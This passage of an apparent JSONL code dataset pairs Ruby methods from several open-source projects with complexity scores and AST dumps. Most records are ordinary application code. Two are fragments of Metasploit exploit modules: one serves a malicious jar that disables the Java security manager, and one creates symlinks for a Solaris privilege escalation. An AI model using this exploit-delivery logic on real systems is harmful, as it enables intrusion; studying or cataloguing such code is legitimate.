represented\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"v3_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property_name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title_attribute\"]},{\"type\":\"lvar\",\"children\":[\"title_attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"getter\"]},{\"type\":\"lvar\",\"children\":[\"getter\"]}]}]}]},\"to_hash\"]},null]}]}]}]}","id":"5e0ff151-a57a-4404-859f-8306007742d4"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/poll.rb","start_line":92,"raw_source":"def move_to_position(new_position)\n    return unless survey_id\n\n    transaction do\n      # Shift other polls in the same survey\n      if new_position < position\n        # Moving up: increment positions of polls between new_position and current position\n        survey.polls.where(\"position >= ? AND position < ?\", new_position, position)\n          .update_all(\"position = position + 1\")\n      elsif new_position > position\n        # Moving down: decrement positions of polls between current position and new_position\n        survey.polls.where(\"position > ? AND position <= ?\", position, new_position)\n          .update_all(\"position = position - 1\")\n      end\n\n      # Update this poll's position using update_column to skip validations\n      update_column(:position, new_position)\n    end\n  end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"move_to_position\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_position\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"survey_id\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_position\"]},\"<\",{\"type\":\"send\",\"children\":[null,\"position\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"survey\"]},\"polls\"]},\"where\",{\"type\":\"str\",\"children\":[\"position >= ? AND position < ?\"]},{\"type\":\"lvar\",\"children\":[\"new_position\"]},{\"type\":\"send\",\"children\":[null,\"position\"]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"position = position + 1\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_position\"]},\">\",{\"type\":\"send\",\"children\":[null,\"position\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"survey\"]},\"polls\"]},\"where\",{\"type\":\"str\",\"children\":[\"position > ? AND position <= ?\"]},{\"type\":\"send\",\"children\":[null,\"position\"]},{\"type\":\"lvar\",\"children\":[\"new_position\"]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"position = position - 1\"]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"new_position\"]}]}]}]}]}]}","id":"29031247-47e4-4fed-8db0-4289b8f1877c"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":211,"raw_source":"def get_state(state_name)\n      self.class.get_state(state_name)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"get_state\",{\"type\":\"lvar\",\"children\":[\"state_name\"]}]}]}","id":"19c31761-d1a7-4312-b4d4-cce9002a6f68"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/reverse_tcp_double_ssl.rb","start_line":232,"raw_source":"def stop_handler\n    # Terminate the listener thread\n    if (self.listener_thread and self.listener_thread.alive? == true)\n      self.listener_thread.kill\n      self.listener_thread = nil\n    end\n\n    if (self.listener_sock)\n      self.listener_sock.close\n      self.listener_sock = nil\n    end\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_thread\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_thread\"]},\"alive?\"]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_thread\"]},\"kill\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_thread=\",{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_sock\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_sock=\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}","id":"2dcd2cfe-032c-4cca-a70b-f5ec3401acc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb","start_line":1431,"raw_source":"def builds_names\n      builds.pluck(:name)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"builds_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"builds\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}","id":"b46056d9-a589-47ec-b2ff-4aab211c9d03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250313160815_partition_vulnerability_archived_records.rb","start_line":34,"raw_source":"def down\n    drop_table :vulnerability_archived_records\n\n    create_table :vulnerability_archived_records do |t| # rubocop:disable Migration/EnsureFactoryForTable -- false positive\n      t.timestamps_with_timezone null: false\n\n      t.bigint :project_id, null: false, index: true\n      t.references :archive,\n        null: false, foreign_key: { on_delete: :cascade, to_table: 'vulnerability_archives' }, index: false\n\n      t.bigint :vulnerability_identifier, null: false, index: { name: VULNERABILITY_ID_INDEX_NAME, unique: true }\n      t.jsonb :data, null: false, default: {}\n\n      t.index %i[archive_id id], name: ARCHIVE_ID_INDEX_NAME\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"vulnerability_archived_records\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"vulnerability_archived_records\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"archive\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"str\",\"children\":[\"vulnerability_archives\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"vulnerability_identifier\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"VULNERABILITY_ID_INDEX_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"archive_id\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"ARCHIVE_ID_INDEX_NAME\"]}]}]}]}]}]}]}]}","id":"edc952e2-d0f1-46e2-9de1-c9e2cebc64b7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb","start_line":105,"raw_source":"def on_request_uri(cli, request)\n    print_status(\"handling request for #{request.uri}\")\n\n    case request.uri\n    when /\\.jar$/i\n      jar = payload.encoded_jar\n      jar.add_file(\"#{@exploit_class_name}.class\", @exploit_class)\n      jar.add_file(\"ExpProvider.class\", @provider_class)\n      jar.add_file(\"DisableSecurityManagerAction.class\", @action_class)\n      randomize_identifier_in_jar(jar, \"metasploit\")\n      randomize_identifier_in_jar(jar, \"payload\")\n      jar.build_manifest\n\n      send_response(cli, jar, { 'Content-Type' => \"application/octet-stream\" })\n    when /\\/$/\n      payload = regenerate_payload(cli)\n      if not payload\n        print_error(\"Failed to generate the payload.\")\n        send_not_found(cli)\n        return\n      end\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n    else\n      send_redirect(cli, get_resource() + '/', '')\n    end\n  end","complexity_score":32.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"handling request for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.jar$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded_jar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]},\"add_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exploit_class_name\"]}]},{\"type\":\"str\",\"children\":[\".class\"]}]},{\"type\":\"ivar\",\"children\":[\"@exploit_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]},\"add_file\",{\"type\":\"str\",\"children\":[\"ExpProvider.class\"]},{\"type\":\"ivar\",\"children\":[\"@provider_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]},\"add_file\",{\"type\":\"str\",\"children\":[\"DisableSecurityManagerAction.class\"]},{\"type\":\"ivar\",\"children\":[\"@action_class\"]}]},{\"type\":\"send\",\"children\":[null,\"randomize_identifier_in_jar\",{\"type\":\"lvar\",\"children\":[\"jar\"]},{\"type\":\"str\",\"children\":[\"metasploit\"]}]},{\"type\":\"send\",\"children\":[null,\"randomize_identifier_in_jar\",{\"type\":\"lvar\",\"children\":[\"jar\"]},{\"type\":\"str\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]},\"build_manifest\"]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"jar\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to generate the payload.\"]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[null,\"generate_html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_redirect\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"c616736f-193c-4216-89cd-8b0736ee2665"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/calculated_values/error_handler.rb","start_line":120,"raw_source":"def to_id(cf_id)\n      cf_id.sub(\"cf_\", \"\").to_i\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf_id\"]},\"sub\",{\"type\":\"str\",\"children\":[\"cf_\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"to_i\"]}]}","id":"92bd48fe-7bba-42dc-bb68-8a27b111bd9c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/purging.rb","start_line":18,"raw_source":"def self.purge_rollup_timer\n    purge_hourly_timer\n    purge_daily_timer\n    purge_rollup_task_timer\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"purge_rollup_timer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"purge_hourly_timer\"]},{\"type\":\"send\",\"children\":[null,\"purge_daily_timer\"]},{\"type\":\"send\",\"children\":[null,\"purge_rollup_task_timer\"]}]}]}","id":"3216aee9-2032-401f-b0c4-ab64de69cf58"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/minutes/exporter.rb","start_line":53,"raw_source":"def render_meeting\n      write_page_head\n      write_agenda\n      write_minutes_headers\n      write_minutes_footers\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_meeting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_page_head\"]},{\"type\":\"send\",\"children\":[null,\"write_agenda\"]},{\"type\":\"send\",\"children\":[null,\"write_minutes_headers\"]},{\"type\":\"send\",\"children\":[null,\"write_minutes_footers\"]}]}]}","id":"4edaf80b-76c5-4d51-954a-2a3c063fec7d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/progress_edit_field.rb","start_line":254,"raw_source":"def expect_error(expected_error)\n    if expected_error.nil?\n      expect(input_validation_element).to be_nil, \"Expected no error message for #{@human_field_name} field, \" \\\n                                                  \"got \\\"#{input_validation_element&.text}\\\"\"\n    else\n      expect(input_validation_element).to have_text(expected_error)\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected_error\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_error\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"input_validation_element\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected no error message for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@human_field_name\"]}]},{\"type\":\"str\",\"children\":[\" field, \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"got \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_validation_element\"]},\"text\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"input_validation_element\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"lvar\",\"children\":[\"expected_error\"]}]}]}]}]}","id":"4dd4efea-d228-42e5-91fc-395947948f58"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":457,"raw_source":"def test_eager_association_loading_with_belongs_to_and_limit_and_conditions\n    comments = Comment.all.merge!(includes: :post, where: \"post_id = 4\", limit: 3, order: \"comments.id\").to_a\n    assert_equal 3, comments.length\n    assert_equal [5, 6, 7], comments.collect(&:id)\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_belongs_to_and_limit_and_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"post_id = 4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"comments.id\"]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"72aebeec-6106-4120-b8b5-e1ddd870d9c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/redis_base.rb","start_line":73,"raw_source":"def get_request_count\n          ::RequestStore[request_count_key] || 0\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_request_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RequestStore\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"request_count_key\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"07c39ce2-5885-4630-8465-8fc4b5954010"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":1096,"raw_source":"def checkout_for_exclusive_access(checkout_timeout)\n          checkout(checkout_timeout)\n        rescue ConnectionTimeoutError\n          # this block can't be easily moved into attempt_to_checkout_all_existing_connections's\n          # rescue block, because doing so would put it outside of synchronize section, without\n          # being in a critical section thread_report might become inaccurate\n          msg = +\"could not obtain ownership of all database connections in #{checkout_timeout} seconds\"\n\n          thread_report = []\n          @connections.each do |conn|\n            unless conn.owner == ActiveSupport::IsolatedExecutionState.context\n              thread_report << \"#{conn} is owned by #{conn.owner}\"\n            end\n          end\n\n          msg << \" (#{thread_report.join(', ')})\" if thread_report.any?\n\n          raise ExclusiveConnectionTimeoutError.new(msg, connection_pool: self)\n        end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"checkout_for_exclusive_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"checkout_timeout\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout\",{\"type\":\"lvar\",\"children\":[\"checkout_timeout\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionTimeoutError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"could not obtain ownership of all database connections in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checkout_timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"thread_report\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connections\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"owner\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"context\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_report\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]}]},{\"type\":\"str\",\"children\":[\" is owned by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"owner\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_report\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_report\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExclusiveConnectionTimeoutError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_pool\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]},null]}]}","id":"70f0998b-76c7-4338-a634-09d25d3b7453"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1001,"raw_source":"def test_default_select\n    assert_equal Comment.column_names.sort, posts(:welcome).comments.first.attributes.keys.sort\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"column_names\"]},\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"comments\"]},\"first\"]},\"attributes\"]},\"keys\"]},\"sort\"]}]}]}","id":"d63db383-cd9b-401b-a6aa-716f8ffa88d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb","start_line":123,"raw_source":"def symlink(link_target, link_name)\n    print_status(\"Symlinking #{link_target} to #{link_name}\")\n    rm_f(link_name)\n    cmd_exec(\"ln -sf #{link_target} #{link_name}\")\n    register_file_for_cleanup(link_name)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"symlink\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link_target\"]},{\"type\":\"arg\",\"children\":[\"link_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Symlinking \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_target\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rm_f\",{\"type\":\"lvar\",\"children\":[\"link_name\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ln -sf \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_target\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"link_name\"]}]}]}]}","id":"95e877f7-e9f6-46a8-b28b-18b96f9c5775"}
